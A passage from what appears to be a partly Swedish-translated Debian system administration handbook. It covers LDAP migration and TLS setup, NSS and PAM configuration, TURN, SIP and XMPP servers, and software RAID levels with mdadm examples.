$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1

The query returned two objects: the organization itself, and the administrative user.

11.7.2. Filling in the Directory

Since an empty database is not particularly useful, we are going to inject into it all the existing directories; this includes the users, groups, services and hosts databases.

The migrationtools package provides a set of scripts dedicated to extract data from the standard Unix directories (/etc/passwd, /etc/group, /etc/services, /etc/hosts and so on), convert this data, and inject it into the LDAP database.

Once the package is installed, the /etc/migrationtools/migrate_common.ph must be edited; the IGNORE_UID_BELOW and IGNORE_GID_BELOW options need to be enabled (uncommenting them is enough), and DEFAULT_MAIL_DOMAIN/DEFAULT_BASE need to be updated.

The actual migration operation is handled by the migrate_all_online.sh command, as follows:

# cd /usr/share/migrationtools # PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

The migrate_all_online.sh asks a few questions about the LDAP database into which the data is to be migrated. Tabell 11.1 summarizes the answers given in the Falcot use-case.

Tabell 11.1. Answers to questions asked by the migrate_all_online.sh script

Fråga | Svar
X.500 naming context | dc=falcot,dc=com
LDAP server hostname | localhost
Manager DN | cn=admin,dc=falcot,dc=com
Bind credentials | the administrative password
Skapa DUAConfigProfile | nej

You might notice that we extend the PERL5LIB variable. This is due to Debian bug report #982666.

→ https://bugs.debian.org/982666

As you might have also noticed, we deliberately ignore migration of the /etc/aliases file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema file should be added to the standard schema.

TOOL Browsing an LDAP directory

The jxplorer command (in the package of the same name) is a graphical tool allowing to browse and edit an LDAP database. It is an interesting tool that provides an administrator with a good overview of the hierarchical structure of the LDAP data.

Also note the use of the -c option to the ldapadd command; this option requests that processing doesn't stop in case of error. Using this option is required because converting the /etc/services often generates a few errors that can safely be ignored.

11.7.3. Hantera konton med LDAP

Now the LDAP database contains some useful information, the time has come to make use of this data. This section focuses on how to configure a Linux system so that the various system directories use the LDAP database.

11.7.3.1. Konfigurera NSS

The NSS system (Name Service Switch, see sidebar GÅ VIDARE NSS och systemdatabaser) is a modular system designed to define or fetch information for system directories. Using LDAP as a source of data for NSS requires installing the libnss-ldap package. Its installation asks a few questions; the answers are summarized in Tabell 11.2.

Tabell 11.2. Configuring the libnss-ldap package:

Fråga | Svar
LDAP server URI (Uniform Resource Identifier) | ldapi://ldap.falcot.com
Distinguished name of the search base | dc=falcot,dc=com
LDAP-version som ska användas | 3
LDAP-konto för root | cn=admin,dc=falcot,dc=com
LDAP-lösenord för root-konto | the administrative password
Allow LDAP admin account behave like local root? | yes
Kräver LDAP-databasen inloggning? | nej

The /etc/nsswitch.conf file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module. You can use the example provided in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap or edit your existing configuration.

Exempel 11.23. /etc/nsswitch.conf fil

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

The ldap module is usually inserted before others, and it will therefore be queried first. The notable exception is the hosts service since contacting the LDAP server requires consulting DNS first (to resolve ldap.falcot.com). Without this exception, a hostname query would try to ask the LDAP server; this would trigger a name resolution for the LDAP server, and so on in an infinite loop.

If the LDAP server should be considered authoritative (and the local files used by the files module disregarded), services can be configured with the following syntax:

service: ldap [NOTFOUND=return] files.

If the requested entry does not exist in the LDAP database, the query will return a “not existing” reply even if the resource does exist in one of the local files; these local files will only be used when the LDAP service is down.

11.7.3.2. Konfigurera PAM

This section describes a PAM configuration (see sidebar BEHIND THE SCENES /etc/environment and /etc/default/locale) that will allow applications to perform the required authentications against the LDAP database.

CAUTION Broken authentication

Changing the standard PAM configuration used by various programs is a sensitive operation. A mistake can lead to broken authentication, which could prevent logging in. Keeping a root shell open is therefore a good precaution. If configuration errors occur, they can be then fixed and the services restarted with minimal effort.

The LDAP module for PAM is provided by the libpam-ldap package. Installing this package asks a few questions very similar to those in libnss-ldap; some configuration parameters (such as the URI for the LDAP server) are even actually shared with the libnss-ldap package. Answers are summarized in Tabell 11.3.

Tabell 11.3. Konfiguration av libpam-ldap

Fråga | Svar
Allow LDAP admin account to behave like local root? | Yes. This allows using the usual passwd command for changing passwords stored in the LDAP database.
Does the LDAP database require logging in? | nej
LDAP account for root: | cn=admin,dc=falcot,dc=com
LDAP administrative password: | the LDAP database administrative password
Local encryption algorithm to use for passwords: | crypt
PAM profiles to enable: | LDAP Authentication is among the enabled profiles

Installing libpam-ldap automatically adapts the default PAM configuration defined in the /etc/pam.d/common-auth, /etc/pam.d/common-password and /etc/pam.d/common-account files. This mechanism uses the dedicated pam-auth-update tool (provided by the libpam-runtime package). This tool can also be run by the administrator should they wish to enable or disable PAM modules.

11.7.3.3. Securing LDAP Data Exchanges

By default, the LDAP protocol transits on the network as cleartext; this includes the (encrypted) passwords. Since the encrypted passwords can be extracted from the network, they can be vulnerable to dictionary-type attacks. This can be avoided by using an extra encryption layer; enabling this layer is the topic of this section.

11.7.3.3.1. Konfigurera servern

The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see Avsnitt 10.2.2, ”Publik nyckelinfrastruktur easy-rsa”). Running ./easyrsa build-server-full ldap.falcot.com nopass will ask you about the “common name”. The answer to that question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com.

This command creates a certificate in the pki/issued/ldap.falcot.com.crt file; the corresponding private key is stored in pki/private/ldap.falcot.com.key.

Now these keys have to be installed in their standard location, and we must make sure that the private file is readable by the LDAP server which runs under the openldap user identity:

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem # chown root.root /etc/ssl/certs/ldap.falcot.com.pem # chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

The slapd daemon also needs to be told to use these keys for encryption. The LDAP server configuration is managed dynamically: the configuration can be updated with normal LDAP operations on the cn=config object hierarchy, and the server updates /etc/ldap/slapd.d in real time to make the configuration persistent. ldapmodify is thus the right tool to update the configuration:

Exempel 11.24. Konfigurera slapd för kryptering

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" # systemctl restart slapd.service # ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

TOOL ldapvi to edit an LDAP directory

With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.

It is thus a convenient way to update the configuration of the LDAP server, simply by editing the cn=config hierarchy.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

The last step for enabling encryption involves changing the SLAPD_SERVICES variable in the /etc/default/slapd file. We'll play it safe and disable unsecured LDAP altogether.

Exempel 11.25. etc/default/slapd fil

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. Konfigurera klienten

On the client side, the configuration for the libpam-ldap and libnss-ldap modules needs to be modified to use an ldaps:// URI.

LDAP clients also need to be able to authenticate the server. In an X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates and running update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... Adding debian:falcot.pem done. done.

Last but not least, the default LDAP URI and default base DN used by the various command line tools can be modified in /etc/ldap/ldap.conf. This will save quite some typing.

Exempel 11.26. /etc/ldap/ldap.conf fil

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-provider.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Real-Time Communication Services

Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.

→ https://rtcquickstart.org

Both SIP and XMPP can provide the same functionality. SIP is slightly more well known for voice and video while XMPP is traditionally regarded as an IM protocol. In fact, they can both be used for any of these purposes. To maximize connectivity options, it is recommended to run both in parallel.

These services rely on X.509 certificates both for authentication and confidentiality purposes. See Avsnitt 10.2, ”X.509 certifikat” for more information.

11.8.1. DNS-inställningar för RTC-tjänster

RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com (see also Exempel 10.13, ”Excerpt of /etc/bind/db.falcot.com”:

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. TURN Server

TURN is a service that helps clients behind NAT routers and firewalls to discover the most efficient way to communicate with other clients and to relay the media streams if no direct media path can be found. It is highly recommended that the TURN server is installed before any of the other RTC services are offered to end users.

TURN and the related ICE protocol are open standards. To benefit from these protocols, maximizing connectivity and minimizing user frustration, it is important to ensure that all client software supports ICE and TURN.

For the ICE algorithm to work effectively, the server must have two public IPv4 addresses.

Install the coturn package and edit the /etc/turnserver.conf configuration file. By default, a SQLite database is configured in /var/db/turndb for user account settings, but PostgreSQL, MySQL or Redis can be set up instead if preferred. The most important thing to do is insert the IP addresses of the server.

The server can be started running turnserver from the coturn package. We want the server to be an automatically started system service. This is the default behavior using systemd. Only when using the older SysVinit you have to edit the /etc/default/coturn file like this:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

By default, the TURN server uses anonymous access. We have to add the users we want to use:

# turnadmin -a -u roland -p secret_password -r falcot.com # turnadmin -A -u admin -p secret_password

We use the argument -a to add a normal user and -A to add an admin user.

11.8.3. SIP Proxy Server

A SIP proxy server manages the incoming and outgoing SIP connections between other organizations, SIP trunking providers, SIP PBXes such as Asterisk, SIP phones, SIP-based softphones and WebRTC applications.

It is strongly recommended to install and configure the SIP proxy before attempting a SIP PBX setup. The SIP proxy normalizes a lot of the traffic reaching the PBX and provides greater connectivity and resilience.

11.8.3.1. Install the SIP proxy

Install the kamailio package and the package for the database backend. The Falcot administrators chose MySQL, so they install kamailio-mysql-modules and mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Now we focus on the configuration file /etc/kamailio/kamailio.cfg. Falcot needs user authentication and persistent user location, so they add the following #!define directives at the top of that file:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio needs a database structure that we can create running kamdbctl create as root. Finally, we can add some users with kamctl.

# kamdbctl create [...] # kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see Avsnitt 13.9, ”Real-Time Communications software”).

11.8.4. XMPP Server

An XMPP server manages connectivity between local XMPP users and XMPP users in other domains on the public Internet.

VOKABULÄR XMPP eller Jabber?

XMPP is sometimes referred to as Jabber. In fact, Jabber is a trademark and XMPP is the official name of the standard.

prosody is a popular XMPP server that operates reliably on Debian servers.

11.8.4.1. Installera XMPP servern

Install the prosody package.

Review the /etc/prosody/prosody.cfg.lua configuration file. The most important thing to do is insert JIDs of the users who are permitted to manage the server.

admins = { "joe@falcot.com" }

An individual configuration file is also needed for each domain. Copy the sample from /etc/prosody/conf.avail/example.com.cfg.lua and use it as a starting point. Here is falcot.com.cfg.lua:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com.key"; certificate = "/etc/ssl/certs/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

To enable the domain, there must be a symlink from /etc/prosody/conf.d/. Create it that way:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Starta om tjänsten för att använda den nya konfigurationen.

11.8.4.2. Hantera XMPP-servern

Some management operations can be performed using the prosodyctl command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

See the Prosody online documentation for more details about how to customize the configuration.

11.8.5. Running services on port 443

Some administrators prefer to run all of their RTC services on port 443. This helps users to connect from remote locations such as hotels and airports where other ports may be blocked or Internet traffic is routed through HTTP proxy servers.

To use this strategy, each service (SIP, XMPP and TURN) needs a different IP address. All the services can still be on the same host as Linux supports multiple IP addresses on a single host. The port number, 443, must be specified in the configuration files for each process and also in the DNS SRV records.

11.8.6. Lägga Till WebRTC

Falcot wants to let customers make phone calls directly from the web site. The Falcot administrators also want to use WebRTC as part of their disaster recovery plan, so staff can use web browsers at home to log in to the company phone system and work normally in an emergency.

I PRAKTIKEN Prova WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://sip5060.net/test-calls

WebRTC is a rapidly evolving technology and it is essential to use packages from the Testing distribution. Another option is to compile the software.

WebRTC uses a simple API to provide browsers and mobile applications with RTC, it is free software and it is being developed by Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

More advanced click-to-call web sites typically use server-side scripting to generate the config.js file dynamically. The DruCall source code demonstrates how to do this with PHP.

This chapter sampled only a fraction of the available server software; however, most of the common network services were described. Now it is time for an even more technical chapter: we'll go into deeper detail for some concepts, describe massive deployments and virtualization.

Kapitel 12. Avancerad administration

This chapter revisits some aspects we already described, with a different perspective: instead of installing one single computer, we will study mass-deployment systems; instead of creating RAID or LVM volumes at install time, we'll learn to do it by hand so we can later revise our initial choices. Finally, we will discuss monitoring tools and virtualization techniques. As a consequence, this chapter is more particularly targeting professional administrators, and focuses somewhat less on individuals responsible for their home network.

12.1. RAID och LVM

Kapitel 4, Installation presented these technologies from the point of view of the installer, and how it integrated them to make their deployment easy from the start. After the initial installation, an administrator must be able to handle evolving storage space needs without having to resort to an expensive re-installation. They must therefore understand the required tools for manipulating RAID and LVM volumes.

RAID and LVM are both techniques to abstract the mounted volumes from their physical counterparts (actual hard-disk drives or partitions thereof); the former ensures the security and availability of the data in case of hardware failure by introducing redundancy, the latter makes volume management more flexible and independent of the actual size of the underlying disks. In both cases, the system ends up with new block devices, which can be used to create filesystems or swap space, without necessarily having them mapped to one physical disk. RAID and LVM come from quite different backgrounds, but their functionality can overlap somewhat, which is why they are often mentioned together.

PERSPEKTIV Btrfs kombinerar LVM och RAID

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the feature sets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/

Among the noteworthy features are the ability to take a snapshot of a filesystem tree at any point in time. This snapshot copy doesn't initially use any disk space, the data only being duplicated when one of the copies is modified. The filesystem also handles transparent compression of files, and checksums ensure the integrity of all stored data.

In both the RAID and LVM cases, the kernel provides a block device file, similar to the ones corresponding to a hard disk drive or a partition. When an application, or another part of the kernel, requires access to a block of such a device, the appropriate subsystem routes the block to the relevant physical layer. Depending on the configuration, this block can be stored on one or several physical disks, and its physical location may not be directly correlated to the location of the block in the logical device.

12.1.1. Mjukvaru RAID

RAID means Redundant Array of Independent Disks. The goal of this system is to prevent data loss and ensure availability in case of hard disk failure. The general principle is quite simple: data are stored on several physical disks instead of only one, with a configurable level of redundancy. Depending on this amount of redundancy, and even in the event of an unexpected disk failure, data can be losslessly reconstructed from the remaining disks.

KULTURSjälvständig ellerbillig?

The I in RAID initially stood for inexpensive, because RAID allowed a drastic increase in data safety without requiring investing in expensive high-end disks. Probably due to image concerns, however, it is now more customarily considered to stand for independent, which doesn't have the unsavory flavor of cheapness.

RAID can be implemented either by dedicated hardware (RAID modules integrated into SCSI or SATA controller cards) or by software abstraction (the kernel). Whether hardware or software, a RAID system with enough redundancy can transparently stay operational when a disk fails; the upper layers of the stack (applications) can even keep accessing the data in spite of the failure. Of course, this “degraded mode” can have an impact on performance, and redundancy is reduced, so a further disk failure can lead to data loss. In practice, therefore, one will strive to only stay in this degraded mode for as long as it takes to replace the failed disk. Once the new disk is in place, the RAID system can reconstruct the required data so as to return to a safe mode. The applications won't notice anything, apart from potentially reduced access speed, while the array is in degraded mode or during the reconstruction phase.

When RAID is implemented by hardware, its configuration generally happens within the BIOS setup tool, and the kernel will consider a RAID array as a single disk, which will work as a standard physical disk, although the device name may be different (depending on the driver).

Vi fokuserar bara på mjukvaru RAID i denna bok.

12.1.1.1. Olika RAID-nivåer

RAID is actually not a single system, but a range of systems identified by their levels; the levels differ by their layout and the amount of redundancy they provide. The more redundant, the more failure-proof, since the system will be able to keep working with more failed disks. The counterpart is that the usable space shrinks for a given set of disks; seen the other way, more disks will be needed to store a given amount of data.

Linjär RAID

Even though the kernel's RAID subsystem allows creating “linear RAID”, this is not proper RAID, since this setup doesn't involve any redundancy. The kernel merely aggregates several disks end-to-end and provides the resulting aggregated volume as one virtual disk (one block device). That is about its only function. This setup is rarely used by itself (see later for the exceptions), especially since the lack of redundancy means that one disk failing makes the whole aggregate, and therefore all the data, unavailable.

RAID-0

This level doesn't provide any redundancy either, but disks aren't simply stuck on end one after another: they are divided in stripes, and the blocks on the virtual device are stored on stripes on alternating physical disks. In a two-disk RAID-0 setup, for instance, even-numbered blocks of the virtual device will be stored on the first physical disk, while odd-numbered blocks will end up on the second physical disk.

This system doesn't aim at increasing reliability, since (as in the linear case) the availability of all the data is jeopardized as soon as one disk fails, but at increasing performance: during sequential access to large amounts of contiguous data, the kernel will be able to read from both disks (or write to them) in parallel, which increases the data transfer rate. The disks are utilized entirely by the RAID device, so they should have the same size not to lose performance.

RAID-0 use is shrinking, its niche being filled by LVM (see later).

RAID-1

This level, also known as “RAID mirroring”, is both the simplest and the most widely used setup. In its standard form, it uses two physical disks of the same size, and provides a logical volume of the same size again. Data are stored identically on both disks, hence the “mirror” nickname. When one disk fails, the data is still available on the other. For really critical data, RAID-1 can of course be set up on more than two disks, with a direct impact on the ratio of hardware cost versus available payload space.

OBS Diskar och kluster storlekar

If two disks of different sizes are set up in a mirror, the bigger one will not be fully used, since it will contain the same data as the smallest one and nothing more. The useful available space provided by a RAID-1 volume therefore matches the size of the smallest disk in the array. This still holds for RAID volumes with a higher RAID level, even though redundancy is stored differently.

It is therefore important, when setting up RAID arrays (except for RAID-0 and “linear RAID”), to only assemble disks of identical, or very close, sizes, to avoid wasting resources.

NOTERA Reservdiskar

RAID levels that include redundancy allow assigning more disks than required to an array. The extra disks are used as spares when one of the main disks fails. For instance, in a mirror of two disks plus one spare, if one of the first two disks fails, the kernel will automatically (and immediately) reconstruct the mirror using the spare disk, so that redundancy stays assured after the reconstruction time. This can be used as another kind of safeguard for critical data.

One would be forgiven for wondering how this is better than simply mirroring on three disks to start with. The advantage of the “spare disk” configuration is that the spare disk can be shared across several RAID volumes. For instance, one can have three mirrored volumes, with redundancy assured even in the event of one disk failure, with only seven disks (three pairs, plus one shared spare), instead of the nine disks that would be required by three triplets.

This RAID level, although expensive (since only half of the physical storage space, at best, is useful), is widely used in practice. It is simple to understand, and it allows very simple backups: since both disks have identical contents, one of them can be temporarily extracted with no impact on the working system. Read performance is often increased since the kernel can read half of the data on each disk in parallel, while write performance isn't too severely degraded. In case of a RAID-1 array of N disks, the data stays available even with N-1 disk failures.

CAUTION RAID is not Backup

RAID systems are not backup mechanisms. While RAID increases the redundancy - and therefore the availability of a system - and protects against disk failures, backups are done to protect data from being altered, deleted, getting corrupted, etc., and to be able to restore them if necessary. To demonstrate this: If you remove one or all files by accident, a RAID will mirror this change, but it will not provide the means to restore the file(s). So while there is clearly an overlap, they are not the same and should be used in conjunction with each other.

RAID-4

This RAID level, not widely used, uses N disks to store useful data, and an extra disk to store redundancy information. If that disk fails, the system can reconstruct its contents from the other N. If one of the N data disks fails, the remaining N-1 combined with the “parity” disk contain enough information to reconstruct the required data.

RAID-4 isn't too expensive since it only involves a one-in-N increase in costs and has no noticeable impact on read performance, but writes are slowed down. Furthermore, since a write to any of the N disks also involves a write to the parity disk, the latter sees many more writes than the former, and its lifespan can shorten dramatically as a consequence. Data on a RAID-4 array is safe only up to one failed disk (of the N+1).

RAID-5

RAID-5 addresses the asymmetry issue of RAID-4: parity blocks are spread over all of the N+1 disks, with no single disk having a particular role.

Read and write performance are identical to RAID-4. Here again, the system stays functional with up to one failed disk (of the N+1), but no more.

RAID-6

RAID-6 can be considered an extension of RAID-5, where each series of N blocks involves two redundancy blocks, and each such series of N+2 blocks is spread over N+2 disks.

This RAID level is slightly more expensive than the previous two, but it brings some extra safety since up to two drives (of the N+2) can fail without compromising data availability. The counterpart is that write operations now involve writing one data block and two redundancy blocks, which makes them even slower.

RAID-1+0

This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there is no problem with that.

RAID-1+0 can survive multiple disk failures: up to N in the 2×N array described above, provided that at least one disk keeps working in each of the RAID-1 pairs.

GÅ VIDARE RAID-10

RAID-10 is generally considered a synonym of RAID-1+0, but a Linux specificity makes it actually a generalization. This setup allows a system where each block is stored on two different disks, even with an odd number of disks, the copies being spread out along a configurable model.

Performances will vary depending on the chosen repartition model and redundancy level, and of the workload of the logical volume.

Obviously, the RAID level will be chosen according to the constraints and requirements of each application. Note that a single computer can have several distinct RAID arrays with different configurations.

12.1.1.2. Konfigurera RAID

Setting up RAID volumes requires the mdadm package; it provides the mdadm command, which allows creating and manipulating RAID arrays, as well as scripts and tools integrating it to the rest of the system, including the monitoring system.

Our example will be a server with a number of disks, some of which are already used, the rest being available to setup RAID. We initially have the following disks and partitions:

disken sdb , 4 GB, är helt tillgänglig;

sdc disken, 4 GB, är också helt tillgänglig;

on the sdd disk, only partition sdd2 (about 4 GB) is available;

finally, a sde disk, still 4 GB, entirely available.

OBS Identifiera befintliga RAID-volymer

The /proc/mdstat file lists existing volumes and their states. When creating a new RAID volume, care should be taken not to name it the same as an existing volume.

We're going to use these physical elements to build two volumes, one RAID-0 and one mirror (RAID-1). Let's start with the RAID-0 volume:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Mon Feb 28 01:54:24 2022 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 01:54:24 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : -unknown- Chunk Size : 512K Consistency Policy : none Name : debian:0 (local to host debian) UUID : a75ac628:b384c441:157137ac:c04cd98c Events : 0 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sdb 1 8 16 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.8G 24K 7.4G 1% /srv/raid-0

The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0 is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It is also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear instead of /dev/md0.

Creation of a RAID-1 follows a similar fashion, the differences only being noticeable after the creation:

